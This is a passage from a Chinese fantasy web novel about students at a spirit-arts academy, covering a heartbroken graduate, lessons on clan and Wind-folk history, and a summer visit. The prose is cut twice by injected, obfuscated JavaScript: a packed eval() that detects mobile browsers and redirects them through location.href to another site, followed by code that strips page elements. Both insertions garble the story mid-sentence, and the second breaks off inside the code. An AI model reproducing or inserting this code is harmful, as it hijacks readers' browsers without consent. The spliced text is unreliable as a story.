言萧鹤并未出面答复学校,只书面来函,冠冕堂皇地说不收控制系学生,即便她是双修系,术法风格也不适合先遣部队。此言虽非挑不出错——八部令自然也不全是强攻系,可明面上大家都觉得没有问题,毕竟,郡主金尊玉贵,又是可造之才,若放在八部令这样不适合自己的队伍,也难发挥其才能。 优秀毕业生若是被拒绝,倒也可重新选择,但,狄乐凰也拒绝了。再下一步,就是填报十一令的就业意向后,服从分配,狄乐凰也未填报。 学校正在紧急商议她的毕业去向问题,同学间也是众说纷纭,主要围绕她为什么要去八部令展开。 “郡主勇于打破刻板印象,力证四平八稳的灵脉也可修习强攻系!” “十一令中二、四、七、八令主强攻,二部令远驻山海洲,狄家自是不会让郡主去吃苦;四部令主空战,郡主许是自觉遁术欠佳;至于七部令,全是一群崇武的糙汉子,看着就臭臭的,郡主如花似玉,怎愿与他们为伍?所以只剩下八部令了呀……” “你们说有没有可能是为了什么人?可有哪位世族子弟身在八部令?还得是帅的……” 这最后之人思路是对了,方向却错了。毕竟,谁会想到神都第一美人的心,花落一个年长之人呢。 ——自然是有的,一位戏文话本看多了的女生大胆猜想:“要说八部令现下最优秀之才,那断然非言封座莫属啊,去年以三十四岁封灵,仅次于大灵师和司城封座,在他那一辈之中无出其右了。” “言封座?怎么可能啊?言封座的岁数比郡主大了多少啊……” “虽是如此,可言封座高大俊俏,听说在校时就引许多女生倾慕,毕业之后到了八部令,同样也受女同僚追捧呢……” 巫寻月正在一旁紧张地听着,猝不及防就有人推了她一把:“——喂?”她一抬头,看见慕丹青放大的脸。 “你吓死我了。”巫寻月没趣地回了头。 慕丹青手握一只梨在她身边坐下,问:“怎么一个人在这里?你舍友呢?” 此处是一片竹林,位于食堂通往宿舍的方向,午间时分,许多同学会在此处纳凉,人多了,就变成了八卦集散中心。 巫寻月没气力地道:“她们回去了,我想一个人坐坐。” “哦,那我走咯?”巫寻月白了她一眼,慕丹青笑了起来,又问:“在想乐凰姐姐?” “也有,但也还有别的事。” 慕丹青挨近她,声音只她一人听见:“听我母亲说,昨日她想去狄府拜访宗主夫人,宗主夫人却说家中有事,谢了客。” 巫寻月赶紧接着问:“你母亲同宗主夫人交好,可有再问?” “问了,说乐凰姐姐近日闭门不出,心情不好,”慕丹青又压了些音量,“还说,她与狄宗主已去拜访言封座,询问缘由呢。” 巫寻月险些把刚才的午饭喷出来——那场面想想就好笑,言萧鹤不得吓死? 巫寻月正出神,慕丹青突然就说:“我猜到了。” “……什么?” 慕丹青凑近她耳语:“乐凰姐姐……和言封座。” 巫寻月没作声,没否认,也没承认。慕丹青满意地看着她的表情,嘚瑟地挑了挑眉,仰头道:“我不会说出去的,此事也是我自己想明白的,并未与他人议论。” “怎么想的?” “首先是她修炼回来,你如此难过,定是有别的缘由,接着是乐凰姐姐修炼强攻系选投八部令一事,的确也匪夷所思,”慕丹青细细复盘道,“所以我就想起来,乐凰姐姐前年暑假到边境森林一带游玩,被灵兽所伤,正巧言封座——那时候还是副座,言封座到那里修炼将她救下,之后就把她送到了边境卫所治伤——你猜怎么着?当时卫所驻守的是六部令。” 巫寻月明白了:“所以,你伯父知晓了此事,你便也知道了。” “当时我并未多想,只是到了现在才想明白的。” 巫寻月沉了口气,说:“丹青,这是乐凰姐姐的事,所以我不能说。” “所以,这就是你们的小秘密?”慕丹青笑起来,“我再猜猜,你让她帮你去找司城世子询问那灵器——可有结果?” 巫寻月又沉默了。慕丹青这下是彻底明白了:“这才是你近日郁郁不乐的真正原因。” “其实,也不是,”巫寻月笑了笑,算是给自己的鼓励,“我想明白了,现在就算没有他,我也不会离开神都,我会好好学习灵术,好好享受在学校的日子,只是我刚刚才想明白,所以还有点迷茫。” “那就等过阵子就好了。” “嗯。” 慕丹青想了想,后告诉她:“给你找件事做,你从平民家庭出生,对灵力世界了解太少,历史课本讲得也有限,并且多也是我们灵族的单一视角,你若是得空,可去图书馆借阅书籍,那里有不少关于风族、人族的史书,且是从他们的角度,又或是从全局角度讲述的——换个视角看这个世界,你会明白更多。” 慕丹青这个建议甚好,好到巫寻月当场亲了她一口。 只是在那之前,她得先去看看狄乐凰。 巫寻月这次从侧门入府,负责迎接她还是上次那位侍女,她说:“我是郡主的掌事姑姑,名为拂绿,郡主特命我过来接您。” 巫寻月心切地问:“拂绿姑姑,学姐这几日如何了?” 拂绿叹气道:“还是那样,不大吃饭,早起也不梳妆,整日待在屋里,也不许人靠近,小娘子来了多陪我们郡主说说话吧。” 狄乐凰的屋子有一座小阁楼,正对大片湖景。巫寻月上楼时,看见白泽兽化形的那只白猫立在窗台上,狄乐凰正与它逗乐。 白猫先瞧见了巫寻月,这次不再那般躁动,反而冲她喵了几声。巫寻月放假时跟小白说过这件事,小白在她身上使了些术法,让有主人的灵兽接收到一种信号——我不打你家主意。 巫寻月先唤了她:“学姐。” “你来了。”狄乐凰坐在窗台不动,一头长发如丝缎般散开,脸上无半点粉饰,唇色发白,双眼空洞得仿佛失了灵魂。她说:“记得你舍友爱吃我家的点心,尤其是那位蛟州师傅做的,你回去时我让人给你带上,只是现在……我吃不下。” 巫寻月徐徐走到她身边,陪同她一道坐下。狄乐凰内衫松散,巫寻月一眼瞧见了她胸口那道疤痕,问:“学姐,是我的药没用吗?我瞧见你的疤痕还未好。” “倒不是,”狄乐凰抚着心口,低头一笑,“你那药我还没用,是我舍不得,他说我们再也不见,若没了这疤,我就找不到他咬了哪里了。” “学姐……”呼唤间,巫寻月已瞧见她砸下的眼泪,心一紧,上前握住她的手,“学姐,你……这样下去也不好。” 狄乐凰缓缓抬眼,凄美地看着她,有些失望:“怎么,你也要来劝我吗?” 巫寻月说:“关于言封座,我没想劝你什么,只是,我们总得让自己好过一些,倒也不必逼自己去忘,毕竟……若是认真爱过的人,怎可轻易说忘。但是学姐,你要找一种让自己好过的方式,可以想他,恋他,但也得让自己好过……虽然我这么说有些不知所云,可我现在就是这么做的,既然现在已是僵局,那不如就搁置再议。” 大束大束的眼泪从狄乐凰眼中簌簌落下,她痴痴地重复着:“可以想他,恋他,但也得让自己好过……可是寻月,这要到什么时候呢?到什么时候……” 狄乐凰突然放声大哭,身体沿着窗台缓缓滑落,巫寻月过去将她抱紧,无能为力,只能陪着她。狄乐凰发泄一般嚎啕了片刻,巫寻月才开口:“只能等,等到有一天,他想明白了,又或者……你想明白了。” 这话,她何尝不是说给自己。 狄乐凰似在呓语:“寻月……” “嗯?” “他说他一开始就喜欢我了,我们还在边境卫所的时候,他就不敢多看我……” “他当然会,他怎能不心动。” “寻月……” “嗯?” “……他会不会忘了我?” “不会的,”巫寻月抱紧她,言语温柔却斩切,“绝对不会,没人能忘得了狄乐凰,他这一生都会忘不掉你。” 狄乐凰就这样在她怀里睡着了,巫寻月轻轻拍打她的背,似在哄一个婴儿。她就这么一动不动地让她睡了许久,进来时听拂绿姑姑说,狄乐凰已经许多个日夜未曾合眼。 但她终究是心神不宁,两刻钟后便醒了,醒来后竟感受到了饿意,很快喊来侍女上了吃食。 拂绿姑姑上来见了,感激地道:“还是让寻月小娘子多陪陪郡主好啊……” 巫寻月喊她:“学姐……” “不要叫我学姐了,”狄乐凰冲她一笑,“叫我乐凰吧。” “好,乐凰,”巫寻月欣然应从,“你之后若是无事,暑假可来我家,那里夏天可比神都凉快不少。” “好啊,我听……”狄乐凰及时住了嘴,险些将司城凛说了出来,“我听说那里灵气充盈,民风淳朴,风景也是令人心醉。” “是啊,那里山中花草盛开,你一定会喜欢的。” 从狄府离开时,狄乐凰没忘记让人给巫寻月捎上吃食。等巫寻月回到学校,舍友们见到那些点心,就知道她又去了狄府,自然先是问狄郡主如何,可巫寻月没说什么,她们就也不多问了。 毕业大考一结束,很快就到了六月,一年级各门课程进入收尾阶段,老师们纷纷给他们讲起期末将要迎来的综合考试,难度与上学期不是一个量级,要他们早做准备。一班倒是没什么反应,大家都有基本的应对能力,可后续班级反应强烈,一片紧张。进入六月之后,晚上巫寻月都成了第一个回宿舍的人了,这与之前全然相反。 好吧,事实上,若论用功程度,巫寻月从来不敢自吹。他们班级前三名之中,第三名迟安瑜属于天赋平平但顶级用功,第二名东方曜是既有天赋也十分用功,而巫寻月——顶级天赋,一般用功。 这也不能怪她,一年级的课程对她来说尚且轻松,学起来事半功倍,超前学习术法倒也学了不少,控术就已掌握得不错,可她就是觉得倒也不必如此追赶,人生苦短,何不趁兴而为,等到分了专业,闲暇时间可就更少了。 可巫寻月的一般用功,可不是指课外时间纯去玩啥也不干——学霸说的一般用功,是指把时间留来学习更多感兴趣的东西。 所以,巫寻月的一般用功之余,是去泡图书馆。 上学期时,巫寻月以为《灵族史:下》,只是继续讲述灵族近七千年历史,还未涉及风族、人族相关,但是,开学的第一个月,她就颠覆了认知。 《灵族史:下》的确是讲述灵族近七千年历史,而整个灵族的转折点,也正是在七千年前灵器时代开启之时。 书中讲述,司城家的天赋为契灵诀,能够将自身灵力灌注到某种特殊媒介之中,使其拥有与人同频共振的灵识,能够汇聚人的灵力,成为发动全身灵力的风向标,这种媒介就是某些特殊金属,灵师所使用的武器,由此而来。这也是司城家稳据宗门之首牢不可破的原因——灵师所使用的每一样武器,皆由司城家制造。 当巫寻月读到此处时,比知道狄家天赋要震撼一万倍。原以为归元赋已经够神话了——这契灵诀是什么天神之眼一般的天赋啊!这不是老天爷明摆着给了谁,就让谁做这全天下的主宰吗! ——五大宗族,恐怖如斯。而司城家,是不折不扣的众神之首。 更恐怖的是,司城家不仅被老天爷赏饭吃,每一任宗主都还很上进,不断开拓进取,增进修为,巩固家族地位,如同穿越者一般预见了六大宗族的未来——若不进取,反而内耗,弥家的没落就是下场,六大宗族变为五大就是下场。 因此,七千年前,第十一任宗主司城炎,发明了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690544|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够运用灵力产生特殊效能的——灵器。从此,灵器开始运用于灵族生活的方方面面,灵族社会生产力大幅提高,修炼水平普遍提升,史称灵器时代。 灵器的生成原材料,不同于制作武器的金属,而是一种极其稀有的矿石原料。在长隐洲,这种矿石的数量非常稀少,因此,司城炎带领一众人马,开启长途远征,成为了灵族开拓新大陆的先驱。 在经历了艰苦卓绝、死伤无数的长途跋涉之后,终于,穿越南方的茫茫雾海,在灵气越发稀薄的尽头——他们发现了一片新大陆的存在,那里水草丰美,农耕发达,生活着一群不会使用灵术的人,从此,这片大陆被命名为山海部洲,生活在那里的人,被称为人族。 山海部洲不存在灵气,所以灵族无法使用灵术,只能依靠内力催动基本武术,因此,在之后确定的驻军制度中,派驻山海洲的部队只能以强攻系灵师为主,控制系、医疗系为辅。 司城炎一行在山海洲找到了大量适合制作灵器的矿石原料,他们惊奇地发现,这些矿石对于人族却是根本无用的存在。而同时,他们发现,原来风族早先一步到达了山海洲,已对山海洲进行数年侵略,人族正陷于抵抗风族的混乱之中。 因此,灵族与人族达成协议,灵族帮助人族抵御风族的侵袭,人族将矿石原料提供给灵族以作回报,三族平衡由此而来。 当时在历史课上,立刻有同学向梅见蹊提问:“老师!为什么我们一定要帮人族抵御风族的侵略?我们不能只拿了矿石就跑吗?” 梅见蹊没有直接回答,而是说:“这个问题问得好,有没有同学想过为什么?” 家乡靠近山海洲的巫寻月,从小对人族文化有所涉略,便答:“我之前学到过,山海部洲幅员辽阔,人族人数众多,我们没有足够的兵力接管整个山海洲,但若是抢了矿石就跑,放任风族侵略山海洲,那倘若有一天风族成功占领山海洲之后,我们灵族就会被切断灵器的矿石原料供应。” 梅见蹊当场为她热烈鼓掌:“——完美回答!” 这天下课之后,巫寻月罕见留下来找了一趟梅见蹊。梅见蹊一见到她,神色可不那么惬意——这前脚刚讲完司城家史下课呢,她后脚不会又琢磨出哪里不对来逼问他吧?然而巫寻月却是一脸认真:“老师,司城家之契灵诀如此强大,可以说是垄断我族之基石,就不会引来其他宗族或是别的势力的担心吗?” 梅见蹊见她一脸毫不掺私的思索模样,松了口气,立时就换上了为人师该有的严谨——倒也没多严谨:“你是在问我家可有何忌惮?” 巫寻月直言不讳:“就算到了校长这一代不忌惮,也早该有过忌惮的时候了。” 梅见蹊不着急回答她,保持着寡淡的笑意,提示道:“那按你这么说的话,证明这所谓的忌惮已经有了掣肘的法子,是不是?” 巫寻月思海中如有蜻蜓一点,涟漪轻漾之下,答案呼之欲出:“对哦……灵术体系以武术与控术构成,契灵诀将灵力灌注成型,制成武器,为学习武术必不可少之物,可控术却不受影响,而……控术教学体系,也是梅家世代钻研之大成!” 梅见蹊满意地看着她,嘴角弧度加深了:“多谢夸奖。” 巫寻月神思泉涌,接着说了下去:“而且,我听同学说过,司城世子之所以天赋异禀,进益神通,也有赖于继承了司城家稳固的大开大合灵脉,也就是说——司城家或许世代皆为控制系灵师,那么,这契灵诀的最大受益者,便不是司城家自己了……” 巫寻月向梅见蹊投去一丝确认,他点了点头,告诉她:“没错,司城家嫡系的确世代为控制系灵师,也有旁支子弟因个人兴趣、志向不同修习强攻系或医疗系,但继承人无一例外皆为控制系。” “竟是如此……”巫寻月略有笑意,是为思绪通畅,也为这世界玄奥,“拥有制造武器的能力,自己却不是最擅于用武器之人,那么要实现武器的终极价值,就必须倚重强攻系灵师了,这样的关系,与其说是支配,不如说是共生。” 梅见蹊当然不是第一天知道她聪慧过人,但能有这一番直指本源的超龄见地,的确有些超乎他想象了。此刻他忽然也想进一步实现自己作为老师的价值,进一步点拨了她:“既你提到了共生,可再想想,武器让司城家与强攻系灵师也就是半个灵族共生,而又是怎么与整个灵族共生的呢?” 梅见蹊这话背后必有玄妙,巫寻月显得兴致勃勃,若有所思道:“如何与全族共生……是灵器?” 梅见蹊又问:“灵器如何制成?” 巫寻月已然恍悟:“是原矿石!长隐洲内没有足够的原矿石,需得从山海洲采集,而要与人族达成合作,仅凭司城家一力做不到!” 梅见蹊欣慰一笑,说:“我族与人族缔结千年盟约,有赖于五大宗族、十一令与天听阁通力合作,就拿最简单的来说,驻守山海洲之责,正是仰仗于乔姬封座统帅的二部令呀。” 至此,司城家的核心利益,牢牢与全灵族形成了深度捆绑。司城家作为宗门之首维持灵族的稳定与强大,也正是在维护自身的根基,而绝不会是一个孤立的霸权。 巫寻月终于露出了完全释然的笑容:“我明白了,谢谢老师。” 梅见蹊显然对她更加刮目相看了,最后再留下了一句意味深长的:“你能如此理解司城家,这样很好……” 学完灵族与人族的历史渊源之后,巫寻月觉得这个世界的真正面貌,在她的脑海之中才算是真正成型了。从前那个在邬戍城的山野中撒欢玩耍的巫寻月,从未想过会有这样一天。 只是,巫寻月心里还有一个疑问。 风族始终没有放弃对长隐洲的侵略——在他们的口中称为反攻,那么,人族为什么不对长隐洲发动侵略呢? 人族不想侵略万墟洲的理由自然和灵族是一样的,万墟洲资源贫瘠,且与人族隔着茫茫大海——可又为什么,不侵略与他们相近一些,且中间有着千岛相连的长隐洲呢? 32. 第 32 章 32. 当巫寻月带着这个问题去找慕丹青时,慕丹青想了想,还是决定好好回答她:“这个问题说起来其实也很简单,我就不叫你去读书了,总之就一句话——灵气对人族有毒,他们无法在长隐洲活太久。” “——啊?”巫寻月彻彻底底震惊了。这世界太大,究竟还藏着多少她不知道的“常识”。 慕丹青告诉她,自七千年前灵族与人族发现彼此的存在之后,有她这样想法的不少,实践的也不少,但最终两族都达成了一致认知——灵族无法在山海洲使用灵术,待着也是没用;人族无法在长隐洲正常活下去,不如趁早回家。所以,两族之间的和平才得以维持下来。 这似乎,又是上天设计的一种制衡之术。 巫寻月总是觉得哪里不对。邬戍城靠近人族,总是有不少人族来此寻找灵草灵药,以求仙问道,巫家药铺也做人族的生意,她从小见过的人族还不少。 巫寻月就这么反驳了:“不对啊,我家那边常常有人族过来啊,有些还是我家药铺的回头客。” 慕丹青斩钉截铁地告诉她:“他们肯定活不久,要是不信你回去问问你姐姐,如果人族一直在长隐洲待着,短则几天,长则几年,他们一定会死。” 所以,长隐洲这方四面隔绝的一隅之地,究竟是上天的庇护,还是上天的囚笼。 巫寻月又问:“既然灵族可以在山海洲生活,山海洲地方又那么大,那有没有不需要也不想用灵术的人会跑去山海洲生活呢?” “有,我马上给你说一个现成的,”慕丹青神秘兮兮地挑眉,然后戏弄她一般地大笑起来,“——司城迦染啊!你忘了她老爱跑去山海洲玩儿吗?” “……”她确实忘了。 慕丹青也认真告诉她:“我父亲说了,若是家里过得好,没有人愿意背井离乡。我想想也是,我慕家在神都也算得上是金尊玉贵了,家大业大的,在神都城,我便是掌上明珠,自在得很,若要我突然搬去那人生地不熟的山海洲——哦,我也听说了,人族的贵族所过的日子也正如我家一般,并不是什么神仙日子,所以呢,若是我去人族,就也只是换一个不能使用灵术的地方过一样的日子,那有什么好去的?” 巫寻月认真思索她说的话,点了点头:“你说得对,若是我家学堂肯容我,乡里乡亲对女子掌家的看法也如神都城一般开明敬重,我该也是愿意留在家乡,甚至不会想来神都的。” “所以我父亲说,这便倒逼了五大宗族与天听阁为灵族百姓创造更好的生活条件,让大家都觉得我们自己的家乡更好,”慕丹青面露惧色,道,“我听说,人族平民百姓的日子可不好过,甚至饭吃不饱,若遇战事和灾害,还有严苛的赋税,实在无办法,还得卖儿卖女呢。” “啊……”巫寻月同样惊恐地捂住了嘴,未敢想人间竟还有如此骇人听闻之事。 那日两人议论了许久,可这天下的博弈平衡,哪又是几句言语间,又或是一年级学生的课本能够容得尽的。所以,巫寻月决定,自己去图书馆里探一探,这世界的另一番模样。 首先是拿了一本完整版的《灵兽保护基本条例》。事实上,巫寻月在第一节驯兽课上见到这一标题时,内心是极其震撼的,因为在灵族平民百姓心中,从未建立过灵兽保护的观念,她最开始见到这一标题时,完全想不明白人与兽的关系为何会是保护与被保护——从前的她始终以为,保护小白是她个人一厢情愿的行为。 直到学习深入,她开始理解了人与自然关系演变的核心筹码所在——那就是威慑力。 远古时期,人类处于冷兵器时代,单独与兽博弈完全处于劣势,只有团队作战才稍有胜算,因此人与兽之间的双向恐惧、相互猎食的关系,建立在双方对等的威慑力上,今日你赢,明日我赢——人与兽是平等的对手。 后来,灵术的出现,使灵族增加了对灵兽的威慑力,自然的平衡倒向人类,灵兽也在千万年的演变中加深了对人类恐惧的基因。 千万年来,灵术法力日益增长,灵族完全成为了长隐洲的主宰,建立起了对普通灵兽的完全威慑,那么对于留在长隐洲的灵兽该何去何从,就完全由灵族所决定了。鉴于灵兽对社会生活的价值,比如运输类灵兽、照明类灵兽、通信类灵兽等等,灵族对灵兽的立场自然就变为了保护——若你有用,我便保护;若你祸乱,就地诛杀。 《灵兽保护基本条例》,就是在这样的历史沿革上建立起来的。而对于普通灵族平民,灵兽不参与他们的日常生活,他们自然无法理解。 在完全理解了这些之后,巫寻月才算是终于放心了。从前她总担心若小白被发现,会引来杀身之祸——当然了,这是基于她不知道巨翼幽虎的战力。而现在她终于明白,即便小白被发现,即便小白没有上古灵兽的超强战力,她也能在长隐洲的土地上活得很好。 下一本书,名为《风族史记》。巫寻月在平民的世界里,从未想过去了解这个千万年宿敌,完全怀揣着与生俱来的排斥与憎恶,而现在,她决定从风族的视角,去重塑整个风族印象: 风族人数十万年前原为灵兽,因捕食灵族人进而修炼成人型,在与灵族大战中落败逃亡万墟风洲,后被称为风族。 万墟洲地貌贫瘠,环境恶劣,千万年来风族没有停止过反攻灵族的行动,两族积怨深重。为了改变生存现状,万墟洲急切对外开拓新环境,在一批又一批先驱的付出与牺牲之后,终于发现了大海对岸人族山海部洲的存在,开始向山海洲发动侵略侵吞资源。 之后不久,灵族因寻找矿石原料也来到了山海洲,人族以矿石原料为交换,向灵族寻求庇护,三族间的平衡由此而来。 因山海洲没有灵气,灵族无法发动灵术,而风族有着灵兽基因,在单体力量上强于灵族,因此在山海洲单论武力,风族强于灵族。而因远隔大海,风族不具作战优势,灵族驻军则据险以守,与风族在山海洲对峙千年。 后来,风族内部出现派系纷争,部分人主张寻求新的修炼方式适应环境,被称为独立派;而另一部分人则执着于反攻长隐洲,并吞山海洲切断矿石资源,被称为传承派。 独立派的主张认为,风族原为灵兽时与灵族相互厮杀是为生存本能,不应怀抱仇怨,现拥有灵族基因,不该自相残杀,应走出一条扎根万墟洲的独立自主路线。独立派开始研究在恶劣环境中种植生产的方法,并取得成功,获得了一定的支持,进而开始研究适应万墟洲环境的修炼方法,也取得一定成功。 传承派则主张继承祖训,放不下对长隐洲的执念,也忘不掉被驱赶屠杀的仇恨,始终相信回到长隐洲才最适合风族生存。 独立派因所获成效,支持阵营越发壮大,渐渐发展为与传承派抗衡的力量。但因资源贫瘠,修炼无法普及更多人,还未能找到风族真正的独立出路。 风族的核心矛盾是内部资源稀缺,只能把有限的资源集中在培养少数能够跟灵族封号灵师抗衡的人身上,打掉一个少一个,培养下一个需要耗费很长时间,无法惠及更多人,有修为的人数规模比灵族少很多,所以,始终有人支持传承派的扩张主张。 经过千年分歧,当今风族的统治格局已分为截然不同的两派——传承派和独立派,各自拥有十个方士家族阵营,每十年轮值作为领袖,称为首尊。传承派轮值时战事多,长隐洲加强防备,被称为好战期;独立派轮值时战事少,各自休养生息,被称为和平期。 放下《风族史记》之后,巫寻月心中风浪滔天,久久不能平静。眼前还放着其余几本书,可她从《风族史记》里走不出来,已然看不下去。 原来世间之人来来往往,拼尽全力,也不过只是为了谋个生存而已。远古时期灵族与灵兽相互猎食,是为生存本能,而如今灵族与风族甚至人族各自为营,也只是为了生存繁衍。 到了闭馆的时间,巫寻月从里头神游一般出来,等在门口的慕丹青见了,上去一个瞬移闪到她贴面近处,大叫:“失心疯啦你!” “啊——!”巫寻月吓得也大叫,惊魂未定就破口大骂,“慕丹青你有病啊?” 慕丹青双手抱胸看她:“往日我瞬移吓你,你都能躲开,今日神游什么呢?” 巫寻月抱着书本,与她慢慢往前走:“我刚读完《风族史记》,思虑颇多,你说有没有一种可能……有一天风族人全都能回到长隐洲,两族共处呢?” “嘘——”慕丹青这是真吓得捂住了她的嘴,将她拉到一边,才道,“此乃悖逆之言,慎言!” 巫寻月很是无畏,反问道:“你没想过吗?” 巫寻月还能不了解她?慕丹青眉头一挑,说:“当然想过,很小的时候我便问过我伯父,我伯父说,现在绝无可能。” “为什么呢?” 慕丹青喜欢激发她的思考能力,想了想,试问:“我且问你,近万年前,十八令改组十一令,你道是为何?” 巫寻月想了想,说:“因为少了战事,局面稳定,不需要那么多队伍了?” “对嘛——那你可再想想,若现在风族与灵族合并,二十个方士家族又当如何处之?” “我明白了,”巫寻月眼神一定,沉了口气,“现今长隐洲没有那么多位子可平分了,可是风族必然不愿屈居我们之下,这是个无解的题。” 两人走在校道上,突然不远处传来一道呼喊:“慕丹青——” 巫寻月还在寻找声音来源,只见慕丹青眼神一定,就锁定了树梢间一道身影,恶狠狠回应道:“喊什么喊!” 巫寻月循着看去,见到树梢间宵明雀簇拥之间有一少年,面容清俊,笑意明朗,他身形稳健,灵巧跳脱,一看便知是遁术高手。少年见到巫寻月,抬声道:“这就是你那双胞胎?” 由于巫寻月所到之处太抓眼,总要引起议论,所以巫寻月甚少去别人那里,都是慕丹青来找巫寻月,一年级同学早已对她熟识,可五年级同学平日是少见了些。总之,之前未曾有过慕丹青同学这样在路上遇见,并且如此寻她开心的。 慕丹青冲他一扯鬼脸,说:“是是是,怎么着?你羡慕还是嫉妒?” 少年笑容恣意,在树梢暗影下竟也显得灿烂极了:“就你那臭脾气,跟你做双胞胎想必整日受气,我有什么好羡慕的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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六月底举行的毕业典礼上,狄乐凰缺席了。理由很简单,她知道老师同学都会追问她如何打算,可她没有打算,有也不想如此广而告之。家里过来为她领了证书、印章、纪念品,办理了一切手续,狄乐凰就正式从神都学宫毕业了。 而没有了她,今年的毕业典礼也就失去了唯一的看头。 七月初,巫寻月忙于综合考试,不得空去狄府,狄乐凰就托青信鸟给她来信,说她打算出去走走,顺路去四处察访家中产业,慢慢跟着哥哥姐姐学着打理生意,等巫寻月放了暑假,她再择时到邬戍城去找她。 巫寻月由衷为她高兴,无论她做什么都好,总算是有了想做的事。 七月,巫寻月以近乎完美的表现完成了综合大考,老师们感慨,如今的她与四年级生对打,俨然也有几分胜算。 到了放假时间,狄家和慕家都说可用车驾送她返乡,慕家的自是比不上五大宗族,要慢一些,但巫寻月都推辞了,她打算轻装回家,坐双凫船从暮沉泊下,第一次尝试长距离使用遁术,看看是否真的学有所成。 经过验证,巫寻月从暮沉泊一路轻功与瞬移交替,加上中途调息,还是需要一日半的时间。而普通马车,则需七八日。 回到家中她便写信给慕丹青分享此事,慕丹青大为赞赏,说她的遁术已然达到了常规五年级生的水准。可慕丹青自然是还不满意,在她心里,什么时候巫寻月的功力赶上了她——也就是真正匹配七重灵的水平了,才算是达标。 这次巫寻月回来,比寒假时要稳重了许多,秦艽直言她像变了一个人,几乎看不到山里那个撒野少女的影子了。 巫画荻都郑重地问她:“阿月,神都待得是否很辛苦?我看你都消瘦了,神色也不大好。” “没有,姐姐,神都很好,学校也一切都好,你放心,”巫寻月靠着她的肩,就变回了撒娇小女孩,“只是我见识了许多,想法也就变了许多。” 只一年便如此巨变,而她的学校生涯,还有整整六年。 没过几天,巫寻月就收到了狄乐凰的来信,说她即将启程过来,大约十五日后抵达。至于为什么是十五日——她要在巫寻月生日前赶到,只是信里还藏着不说。 为了迎接她的到来,巫寻月和小白在山谷里忙里忙外,预备给她搭一个大秋千。秋千挂在山崖古树上,悬空而吊,可俯瞰花海全景。 狄乐凰带着巫寻月的生日礼物如期而至,两人在城门处相拥,已如久别多年重逢。不知何故,自狄乐凰毕业,巫寻月就觉得时间过得好漫长。 巫寻月带狄乐凰去了垩山,见到那悬崖之上缠满花束的大秋千,狄乐凰感动得热泪盈眶。两人先后攀上山崖古树,巫寻月以灵力催动秋千飞荡,狄乐凰朗笑着迎风呐喊,笑声与薄纱裙裾随风一同在山谷中久久回荡。 “我也有礼物给你,”花海之中,狄乐凰将一只精致匣子递出,笑道,“生日快乐。” 巫寻月满怀惊喜地笑起来:“你怎知我生日?原来说要赶在十五日内,是为了赶我的生日。” “是啊。”狄乐凰也笑着,却并未回答她第一个问题——十五日,是某些人传信回家制作这东西再送到她手中的时间。狄乐凰说:“打开看看。” 巫寻月接过匣子,一打开,一条镶嵌着灵石的手链置于其中,那灵石硕大,呈宝蓝色,其间隐约有灵力流转,定不是凡物。 巫寻月惊道:“这是什么?” 33. 第 33 章 33. “戒断环,”狄乐凰告诉她,“是一种灵器,你二年级就要开始学控术了,新手开始学控术时容易把控不好火候,误伤自己,我刚开始的时候也时常受伤——这戒断环能在你失控之时识别到,瞬间掐灭术法,减少受伤。” “竟有这么神奇?”巫寻月吃惊地望着她,“天哪,丹青之前教了我一些攻击类控术,一开始常有失败,我的手被烫伤了多次呢。” “丹青这丫头胡闹惯了,”狄乐凰好无奈,认真告诉她,“你初学灵术,虽灵力高强,却也不宜太过超前学习术法,我更建议你着重提升现阶段所学,把所学练到极致。比如说,你的遁术功底不错,现在约莫已有六重灵功力,但那对你来说还不够,只有提升到七重灵功力,才算是真正与你的灵力匹配。” 巫寻月点点头,也认真:“我知道,一开始多是好奇,闹她教了我两招,后面便沉心打磨功力了,此次我试着用遁术从暮沉泊回来用了一天半,丹青也说她还不满意呢。” 狄乐凰会心一笑:“在学校里有丹青陪你,我很放心。” 虽她对灵器仍算了解不多,可总归也见识过同学老师们日常所用,总没有功能如此神奇的。巫寻月俏皮地问她:“这灵器是不是只供宗族使用,平日我在学校里从没见人提过呢。” 这下让狄乐凰为难了。答案是——不是,这灵器,是专供你巫寻月一个人用的。可,她如此说了,巫寻月必定羞于欠她人情,若是不说……又怎让她知晓那个人的用心呢。 狄乐凰最终笑而不言,只说:“对你有用便好。” 巫寻月陪着狄乐凰度过了一段时光,狄乐凰终日欢笑,可巫寻月却清楚地看见,她不再似从前那般快乐了,即便日间暖阳,她笑靥如花,可眼睛里却再也没有了光。 狄乐凰离开之后,巫寻月心里突然空落下来,过了多日仍处在戒断之中。 夜里花海间,她枕着小白的肚子,手心握紧那枚罡灵坠,喃喃自语道:“其实你现在,就和言萧鹤差不多吧,装作看不见,装作不知道……” 过了一会儿,她又说:“不,你不是,言萧鹤心里是有乐凰的,可你——不是。” “所以,我也不会像乐凰那样,为你痛哭流涕,为你郁郁寡欢。” “我会好好过我的生活,这样,即便有一天你终于出现了,但我们……却什么也不是,那样的话,我也是一个很好的我,可以好好地过我想要的生活。” 二年级开学当日,学校统一进行了一次测灵,巫寻月已至八重灵。慕丹青和枫若恒如是,这样他们便有了一年半的时间冲击九重灵。 迟安瑜升至五重灵,东方曜还是五重灵,其余同学也分别提升一重或没有提升——这都是升二年级的常规进度,没提升的多是原五重灵,果然是越往上越难。 但别人升一重灵的含金量和巫寻月升一重灵的含金量可不一样,她的测灵结果一出,在场的同学和老师都一起沸腾了。 这意味着,如果她能在四年级之前升到九重灵,那她就很有可能在毕业前达到真灵境。 那么,这也意味着——她将来大有可能会成为封号灵师。 一月一度和小白的出游日,正值中秋时节。一人一兽坐在山崖之巅,俯瞰整片长隐洲大地,满月当空,清辉如练,山川河流如梦似幻。 